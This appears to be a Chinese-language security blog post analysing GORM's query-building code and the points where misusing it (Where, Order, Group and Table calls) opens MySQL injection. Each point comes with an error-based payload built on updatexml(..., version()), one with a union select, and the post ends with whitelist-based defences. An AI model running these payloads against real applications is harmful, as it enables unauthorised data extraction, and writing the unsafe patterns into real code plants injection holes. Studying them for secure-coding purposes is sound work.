在使用gorm的同时看了下gorm的查询流程及其使用时避免不正确使用可能存在的SQLi点,mysql查询语句核心还是静态占位符方式避免SQLi。

0x01 GORM流程

GORM使用链式API(通过func clone()),而其中有三个重要的组成结构,DB/search/scope

  • search 用来保存各种查询条件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    type search struct {
    db *DB
    whereConditions []map[string]interface{}
    orConditions []map[string]interface{}
    notConditions []map[string]interface{}
    havingConditions []map[string]interface{}
    joinConditions []map[string]interface{}
    initAttrs []interface{}
    assignAttrs []interface{}
    selects map[string]interface{}
    omits []string
    orders []interface{}
    preload []searchPreload
    offset interface{}
    limit interface{}
    group string
    tableName string
    raw bool
    Unscoped bool
    ignoreOrderQuery bool
    }
  • Scope 包含当前查询的作用域信息
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    type Scope struct {
    Search *search
    Value interface{}
    SQL string
    SQLVars []interface{}
    db *DB
    instanceID string
    primaryKeyField *Field
    skipLeft bool
    fields *[]*Field
    selectAttrs *[]string
    }
  • Prepare/State
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    func (db *DB) queryDC(ctx, txctx context.Context, dc *driverConn, releaseConn func(error), query string, args []interface{}) (*Rows, error) {
    ......
    withLock(dc, func() {
    si, err = ctxDriverPrepare(ctx, dc.ci, query)
    })
    if err != nil {
    releaseConn(err)
    return nil, err
    }

    ds := &driverStmt{Locker: dc, si: si}
    rowsi, err := rowsiFromStatement(ctx, dc.ci, ds, args...)
    if err != nil {
    ds.Close()
    releaseConn(err)
    return nil, err
    }
    ......
    }

0x02 错误使用注入点

2.1 处理query语句逻辑

1
2
3
4
5
6
7
8
9
10
11
func (scope *Scope) CombinedConditionSql() string {
joinSQL := scope.joinsSQL()
whereSQL := scope.whereSQL()
if scope.Search.raw {
whereSQL = strings.TrimSuffix(strings.TrimPrefix(whereSQL, "WHERE ("), ")")
}
return joinSQL + whereSQL + scope.groupSQL() +
scope.havingSQL() + scope.orderSQL() + scope.limitAndOffsetSQL()
}

func (scope *Scope) buildCondition(clause map[string]interface{}, include bool) (str string) {}

CombinedConditionSql函数及其search结构体中可以筛选相对容易存在风险的输入点

2.2 静态占位符预编译

等同于PHP中

1
2
3
4
5
<?php
......
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
......
?>
* 利用
1
rows, err := db.Table("user").Debug().Where("username in (?) and updatexml(1,concat(0x7e, version()),1)", []string{"admin", ""}).Rows()

2.3 oder by点

  • 利用
    1
    rows, _ := db.Table("user").Debug().Where("username in (?)", []string{"admin", ""}).Order("id and updatexml(1, concat(0x7e, version()),1)").Rows()
  • src
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    func (scope *Scope) orderSQL() string {
    if len(scope.Search.orders) == 0 || scope.Search.ignoreOrderQuery {
    return ""
    }

    var orders []string
    for _, order := range scope.Search.orders {
    if str, ok := order.(string); ok {
    orders = append(orders, scope.quoteIfPossible(str))
    } else if expr, ok := order.(*expr); ok {
    exp := expr.expr
    for _, arg := range expr.args {
    exp = strings.Replace(exp, "?", scope.AddToVars(arg), 1)
    }
    orders = append(orders, exp)
    }
    }
    return " ORDER BY " + strings.Join(orders, ",")
    }

2.4 group by点

  • 利用
    1
    rows, _ := db.Table("user").Debug().Select("username, password").Group("usernme and updatexml(1, concat(0x7e, version()),1)").Rows()
  • src
    1
    2
    3
    4
    5
    6
    func (scope *Scope) groupSQL() string {
    if len(scope.Search.group) == 0 {
    return ""
    }
    return " GROUP BY " + scope.Search.group
    }

2.4 tablename

  • 利用
    1
    rows, err := db.Table("user union select updatexml(1,concat(0x7e, version()),1)").Debug().Select("username, password").Rows()
  • src
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    func (scope *Scope) QuotedTableName() (name string) {
    if scope.Search != nil && len(scope.Search.tableName) > 0 {
    if strings.Contains(scope.Search.tableName, " ") {
    return scope.Search.tableName
    }
    return scope.Quote(scope.Search.tableName)
    }

    return scope.Quote(scope.TableName())
    }

防御

上述容易出现SQLi点中频繁/容易利用的依然是order by注入,updatexml()^(select version() regexp &#39;^8&#39;)也相对容易利用,针对order by 注入最好的方式还是白名单方式校验,在gorm中可以使用gorm.Expr(&quot;id = ? DESC&quot;, &quot;and updatexml(1,concat(0x7e, version()),1)&quot;)做表达式替换。